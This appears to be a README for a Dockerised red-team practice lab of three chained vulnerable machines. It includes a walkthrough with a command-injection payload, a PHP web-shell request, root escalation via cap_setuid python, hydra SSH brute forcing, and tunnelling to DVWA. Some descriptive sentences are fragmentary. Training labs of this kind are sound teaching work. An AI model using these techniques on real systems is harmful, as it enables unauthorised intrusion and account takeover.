attacker 10.10.10.2 10.20.20.3 10.30.30.3
+----------------+ +-----------+ +-----------+ +-----------+
| 10.10.10.3 | only m1 | m1 | m1->? | m2 | m2->? | m3 |
| (no ssh) | direct | router+ | only | router+ | only | DVWA + |
| routes added +----------------+ webapp | m2 | webapp | m3 | sshd :22 |
| manually | 10.10.10.2 | 80,8080 +----------+ upload-RCE+----------+ |
+----------------+ +-----------+ 10.20.20.3+-----------+ 10.30.30.2+-----------+
10.10.10.2) — PingSweeper web tool (OS command injection),
authoritative DNS for ipvlab.lab (open AXFR), fronted by an IPS.10.20.20.3) — JumpWeb file drop: takes any file, executes
.php; plus a cap_setuid python3.12 for root escalation.10.30.30.3) — DVWA (:80) + the only sshd (:22) in the lab; brute-force target.No external dependencies beyond Docker (Compose v2).
git clone https://github.com/28d33/Marvel-CLCY_L2-CY_RED-Lab.git
cd Marvel-CLCY_L2-CY_RED-Lab
docker compose up --build -d
docker compose ps # m1, m2, m3 all healthy
The stand-in attacker box (att) is a tiny helper; run it with
docker compose exec or by building the images and joining the
attacker_public network.
App ports 80/443/8080/8443 are open by default. Honest clients are served
normally. The IPS watches how packets are formed:
| Behavior | Trigger | Result |
|---|---|---|
| honest web traffic | NEW TCP to 80/443/8080/8443 | accepted |
| NULL/XMAS/FIN/bare-ACK probes | 2 in 10 s | source blacklisted 120 s |
| NEW SYN to a closed port | 5 in 60 s | source blacklisted 120 s |
Once blacklisted, every packet from that source (INPUT & FORWARD) is dropped for
120 seconds, then it recovers automatically. Loud scanners read the host as all
filtered/dead; a quiet human gets served.
# one hop: reach m2 via m1
ip route add 10.20.20.0/24 via 10.10.10.2
# two hops: reach m3 via m1 then m2
ip route add 10.30.30.0/24 via 10.10.10.2
dig +noall +answer AXFR ipvlab.lab @10.10.10.2 # open zone transfer
nmap -Pn -sS -p 80,8080,443,8443 10.10.10.2
curl -s http://10.10.10.2/robots.txt # hidden-path breadcrumbs
curl -s http://10.10.10.2/config.bak # [ping]/[admin] config
curl -s "http://10.10.10.2/ping?ip=127.0.0.1;id"
# -> uid=101(webapp) ...
# Drop a PHP shell into /uploads (wwwrun), then:
curl "http://10.20.20.3/uploads/shell.php?c=id"
# -> uid=100(wwwrun)
# jump through the capability-laden python -> uid 0, read the hint:
# -> m3 = 10.30.30.3, ssh user: marvel, pass: 5 chars from charset {abcde12345!@#$%}
crunch 5 5 abcde12345!@#$% -o /tmp/pass.txt
hydra -l marvel -P /tmp/pass.txt ssh://10.30.30.3 -t 32 -f
# -> [22][ssh] login: marvel password: aaa12
ssh -o StrictHostKeyChecking=no -L 127.0.0.1:38080:127.0.0.1:80 marvel@10.30.30.3
curl http://127.0.0.1:38080/login.php # DVWA login page, 200
ipvlab.lab, open AXFR); it is not an open resolver.